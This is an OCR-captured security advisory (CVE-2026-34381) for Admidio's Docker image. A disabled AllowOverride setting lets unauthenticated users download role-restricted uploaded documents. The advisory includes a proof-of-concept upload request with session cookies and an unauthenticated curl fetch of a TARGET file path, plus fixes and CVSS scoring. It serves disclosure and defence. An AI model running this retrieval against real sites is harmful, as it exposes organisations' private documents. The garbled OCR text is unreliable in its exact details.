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Unauthenticated Access to Role-
Restricted documents via neutralized
.htaccess

Fasse published GHSA-7fh7-8xgm-3g88 last week

Package

admidio/admidio:latest (Docker image)

Affected versions Patched versions
>=5.0.0 5.0.8
Description

Reported by: Juan Felipe Oz @JFOxO0r

LinkedIn

Summary

Admidio relies on adm_my_files/.htaccess to deny direct HTTP access to uploaded documents. The
Docker image ships with AllowOverride None in the Apache configuration, which causes Apache to
silently ignore all .htaccess files. As a result, any file uploaded to the

documents module regardless of the role-based permissions configured in the Ul, is directly accessible
over HTTP without authentication by anyone who knows the file path. The file path is disclosed in the
upload response JSON.

Root Cause

File 1: Intended protection (ignored):

adm_my_files/.htaccess

Require all denied LI.:I
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B .htaccess

B
<IfModule mod_version.c>
<IfVersion < 2.4>
Order Deny,Allow
Deny from ALL
<f/IfVersion>
<IfVersion »= 2.4>
Require all denied
<fIfVersion>
</IfModule:
<IfModule !mod_version.c>
<IfModule !mod_avthz_core
Order Allow,Deny
Deny from ALL
</IfModule>
<IfModule mod_avthz_core.c>
Require all denied
</IfModule>
</IfModule:

File 2: Apache config that neutralizes it:

« Command in order to search in Docker container: docker exec admidio-sec-app cat
/etc/apache2/apache2.conf

/etc/apache2/apache2.conf (Docker image)

<Directory ${APACHE_DOCUMENT_ROOT}> I'_C.]
AllowOverride None
</Directory>

AllowOverride Mone

Comj
d

dock
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Allowoverride None instructs Apache to skip .htaccess processing entirely, the deny rule never
executes. The upload directory is inside the web root at /opt/app-root/src/adm_my_files/ and

returns HTTP 200 for direct requests.

File 3: Upload response leaks the direct URL: system/file_upload.php , upload response JSON:

Request

Pretty ~ Raw  Hex 2 B8 wn =

1| POST /system/file_upload.php?module=documents_files&mode=upload_files&uuid= |
fdc5323d-dde1-4a71-a3fa-432cbc267695 HTTP/1.1

2 "Host: Tocalhost:BI8T

Content-Length: 370

X-AJAX-PREVIOUS-URL:

http://localhost:8181/systen/file_upload.php?module=documents_files&uuid=fdc5323d-deel-4a71l-a3fa-432

cbc267695

sec—ch-ua-platform: "mac0s"

Accept-Language: es-419,es;g=0.9

sec~ch-ua: "Chromium';v="145", “Not:A-Brand";v="99"

sec—ch-ua-mobile: 78

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/145.0.0.9 Safari/537.36

11 Accept: application/json, text/javascript, #/x; q=0.01

12 Content-Type: multipart/form-data; boundary=——--WebKitFormBoundaryOOIRDTTLFEBZSegG

3 Origin: http://localhost:8181

14 Sec-Fetch-Site: same-origin

5 Sec-Fetch-Mode: cors

|6 Sec-Fetch-Dest: empty

7 Referer:
http://localhost:8181/systen/file_upload.php?module=documents_files&uuid=fdc5323d-doel-4a7l-a3fa-432
cbc267695

|8 Accept-Encoding: gzip, deflate, br

19 Cookie: auth-token-secret=dcBc4e16775d574dd98d21bf1ce7b216; auth-token=

ed9b4declle820006a902be2e9883636; ADMIDIO_admidio_adm_cookieconsent_status=dismiss;

ADMIDIO_admidio_adm_AUTO_LOGIN_ID=0%3AsZ1QYXPMIqmavySy64p2wSApRIKdga3ivawVyj3;

ADMIDIO_admidio_adm_SESSTON_ID=nqd8qqsv3rkjaSpsilvk5tjc26

Connection: keep-alive

& w

Somwown

10
1
12— —WebKitFormBoundaryOOIRD7TLFEBZSeqG

)3 Content-Disposition: form-data; name="adm_csrf_token"
I

15 XSTLITOQEnLANKyAHLZ25AbswBatNL

Q& <« »

Search o

"files": [{
"name": "sensitive_poc.txt",
"url":

1]

Verified PoC

Response

Pretty Raw Hex

HTTP/1.1 200 0K

10
1

1
13
1

15
16
17

ohighiights (3 & € =

a:=
28 n

Render

Date: Sun, 22 Mar 2026 01:24:44 GMT

Server: Apache/2.4.58 (Ubuntu)

Expires: Thu, 19 Nov 1981 88:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Disposition: inline; filename="files.json"

X-Content-Type-Options: nosniff

Access-Control-Allow-0rigin: *

Access—Control-Allow-Credentials: false

Access—Control-Allow-Methods: OPTIONS, HEAD, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Headers: Content-Type, Content-Range, Content-Disposition
Vary: Accept

Content-Length: 280

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: application/json

"files": [
{

ensitive_poc.txt",

ext\/plain”,
:\/\/localhost:8181\/adm_my_files\/documents_research\/TEST-SENSITIVE\/sensitive_poc.txt",
ttpr\/\/Tocalhost: 8161\ /system\/Tile_upload. php7file=sensitive_poc.txt™,
“deleteType'": "DELETE"
}
1
}

Search £ | ohighligh

=

"http://TARGET/adm_my_files/documents_research/TEST-SENSITIVE/sensitive_poc.t

Step 1: Admin creates a restricted folder (visible only to Administrator role):

modules/documents-files.php — permissions setto role Administrator only.
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® localhost:8181/modules/documents-files.php?mode=permissions&folder_uuid=fdc5323d-d0e1-4a71-a3fa-432cbc267695

O Juan Felipe O'[>z - Membership management

Documents & Files j. TEST—SENS\TIVE.I Eestablecer permisos de carpeta

Eestablecer permisos de carpeta

En esta pagina usted puede configurar quién tiene autorizacion para ver |la carpeta TEST-SENSITIVE, |cargar o
descargar archivos. Los permisos son heredados a todas las subcarpetas, y se reemplazan los permisos exis-
tentes en las mismas. Solo se pueden seleccionar los roles con acceso a la carpeta principal. Los Administrado-

res tienen todos los privilegios para la carpeta. i
¢Did you see?

Required mth.

- o
Visible for % Administrator

- - L ]
Subir archivos X Administrator

Administradores Administrator

Estos roles son administradores del mddulo de descarga y, por lo tanto, tienen acceso a todas las carpetas y
archives. Usted puede subir, descargar y asignar privilegios de acceso. Un rol puede ser designado como ad-
ministrador asignandcle el permiso # VAR1_BOLD #.

Powered by Admidio @ Admidio Team

Step 2: Admin uploads a file to the restricted folder.

Upload response returns:

http://TARGET/adm_my_files/documents_research/TEST-SENSITIVE/sensitive_poc. txt I'_D

.‘ localhost:8181/fadm_my_file x +

c @ localhost:8181//fadm_my_files//documents_research//TEST-SENSITIVE//sensitive_poc.txt ® 4 3 a £ incégnito

this is a TXT SENSITIVE FOR Proof Of Concept

Step 3: Unauthenticated request retrieves the file:

curl -X GET 'http://TARGET/adm_my_files/documents_research/TEST-SENSITIVE/sensitiv @
# Response: full file contents — no authentication required

'http://localhost:8181/adm_my_files/documents_research/TEST-SENSITIVE/sensitive_poc.txt'

Step 4: Confirm folder is role-restricted:
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SELECT fil name, fol _name, fol public FROM adm_files JOIN adm_folders ON fil fol i LI.:I o]
ORDER BY fil_id DESC LIMIT 5; -- fol _public = 0, role restricted — yet file is pub. y

Impact

« Any document uploaded to Admidio including files restricted to specific roles is publicly accessible
via direct HTTP request with no authentication required

» Role-based access control on the documents module is completely bypassed at the filesystem
level

» Sensitive organizational documents (contracts, member data, financial records) are exposed to
anyone who can guess or construct the file path

« The upload API response discloses the direct URL to the uploader, making path enumeration trivial

Recommended Fix

Option 1 (preferred): Enable AllowOverride in Apache config:

<Directory /opt/app-root/src/adm_my_files> d;
AllowOverride All
</Directory>

Option 2: Move uploads outside the web root:

Store uploaded files in a directory outside DOCUMENT_R0OT and serve them exclusively through
Admidio's download handler ( modules/documents-files.php?mode=download ), which enforces role
checks before serving the file.

Option 3: Apache-level explicit deny (does not require .htaccess):

<Directory /opt/app-root/src/adm_my_files> d;
Require all denied
</Directory>

The most robust long-term fix is Option 2 — moving uploads outside the web root eliminates the
dependency on Apache configuration correctness entirely.

Severity

7.5/10

CVSS v3 base metrics
Attack vector Network
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Attack complexity Low
Privileges required None
User interaction None
Scope Unchanged
Confidentiality High
Integrity None
Availability None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVEID

CVE-2026-34381

Weaknesses

» CWE-284

Credits

‘ JFOZ1010 Reporter
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